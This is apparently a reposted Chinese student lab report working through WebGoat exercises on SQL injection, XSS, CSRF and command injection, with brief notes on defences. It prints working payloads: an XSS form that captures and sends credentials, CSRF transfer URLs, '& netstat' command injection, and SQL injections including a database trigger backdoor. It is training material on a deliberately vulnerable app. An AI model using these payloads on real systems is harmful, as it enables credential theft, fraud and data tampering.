1. 程式人生 > >20145225唐振遠《網絡對抗》 Web安全基礎實踐

20145225唐振遠《網絡對抗》 Web安全基礎實踐

不可見 reat 列表 實踐 acc script 需要 網絡連接 java環境

20145225唐振遠《網絡對抗》Web安全基礎實踐

參考博客:20145215 盧肖明

基礎問題回答

(1)SQL註入攻擊原理,如何防禦?

  • SQL註入攻擊就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。

  • 防禦:利用輸入規則限制進行防禦,過濾輸入的數據,不允許特殊字符輸入。

(2)XSS攻擊的原理,如何防禦?

  • 跨站腳本攻擊,允許惡意用戶將惡意Script代碼註入到網頁上,當用戶瀏覽網頁時,嵌入其中Web裏面的Script代碼會被執行,從而被攻擊,其他用戶在觀看網頁時就會受到影響。XSS攻擊的主要目的是,想辦法獲取目標攻擊網站的cookie,因為有了cookie相當於有了seesion,有了這些信息就可以在任意能接進互聯網的pc登陸該網站,並以其他人的身份登陸,做一些破壞。

  • 防禦:在表單提交或者url參數傳遞前,對需要的參數進行過濾;檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。

(3)CSRF攻擊原理,如何防禦?

  • CSRF攻擊即跨站偽造攻擊,顧名思義,就是攻擊者向目標網站註入一個惡意的URL跨站地址,當用戶點擊了該URL,就可以進行一些用戶本不希望的事情。
  • 防禦:通過referer、token或者驗證碼來檢測用戶提交;在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證;定期清理保存的cookie。

WebGoat

  • WebGoat是OWASP組織研制出的用於進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有很多,包含了XSS、線程安全、SQL註入等,我們本次的實驗就是在WebGoat平臺上進行。
    1. WebGoat分為簡單版和開發板,簡單版是個Java的Jar包,只需要有Java環境即可,我們在命令行裏執行:java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat:技術分享

2.WebGoat使用8080端口,所以在瀏覽器上訪問localhost:8080/WebGoat,進入WebGoat之後,可以看到有很多題目來讓我們進行練習。

Phishing with XSS

  1. 這個題目我們要在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,並且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
    ,完整的XSS攻擊代碼如下:
    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

    輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲並反饋給你

技術分享

攻擊成功:

技術分享

Stored XSS Attacks

  1. 我們的目標是要創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,這個很容易啊,在上個實驗中我們也做過,直接在title裏隨便輸點啥,然後在message中輸入一串代碼,比如:<script>alert("5225 attack succeed!");</script>

Reflected XSS Attacks

  1. 當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看:

技術分享

在code框中輸入<script>alert("5239 attack succeed!");</script>將帶有攻擊性的URL作為輸入源。

技術分享

彈出會話框,反射型XSS攻擊成功!

Cross Site Request Forgery

寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>

(Screen和menu的值在窗口右邊查看)

提交後在下面的Message List裏面可以看我剛剛發送的消息,點擊它,當前頁面就會下載這個消息並顯示出來,轉走用戶的5225元,從而達到CSRF攻擊的目的

Screen和menu的值每個人的電腦可能不一樣,可以在當前頁面的右邊有個Parameters進行查看:

技術分享

提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。

CSRF Prompt By-Pass

瀏覽器開啟一個新頁面,輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000進入確認轉賬請求頁面。

技術分享

點擊CONFIRM之後,再輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM

成功轉走了5000元。原因是網頁的源代碼中transferFunds的值變成了CONFIRM。

技術分享

Command Injection

瀏覽器下的一個擴展Firebug對源代碼進行修改,右鍵點擊BackDoors.help旁邊加上 "& netstat -an & ipconfig"

技術分享

選中修改後的值再點擊view,可以看到命令被執行,出現系統網絡連接情況:

技術分享

Numeric SQL Injection

在103後面加上一個 or 1=1使其成為永真式。

技術分享

點擊Go!發現已經成功了。

技術分享

技術分享

String SQL Injection

輸入‘ or 1=1 --構造永真式。點擊Go!發現所有用戶信息都被顯示出來了。

技術分享

LAB:SQL Injection(Stage 1:String SQL Injection)

輸入‘ or 1=1 --註入,失敗。在輸入框右鍵打開html源碼,發現maxlength被限制為8。修改成20,再次登陸,成功!

技術分享

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

在上一個實驗的基礎上,過一個普通員工的賬戶larry,瀏覽其BOSS的賬戶信息。

在larry的名字右鍵,打開源碼,發現這個地方是以員工ID作為索引傳遞參數的。將value的值修改為101 or 1=1 order by salary desc --

這樣老板的信息就會被排到第一個。

技術分享

再次點擊ViewProfile,發現已經看到老板的信息了。

技術分享

Database Backdoors

先輸入101,得到該用戶的信息:

技術分享

註入語句101; update employee set salary=5239,將其工資變為了5239。

技術分享

最後輸入101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET [email protected] WHERE userid = NEW.userid把表中所有的郵箱和用戶ID都設為我自己的。

技術分享

20145225唐振遠《網絡對抗》 Web安全基礎實踐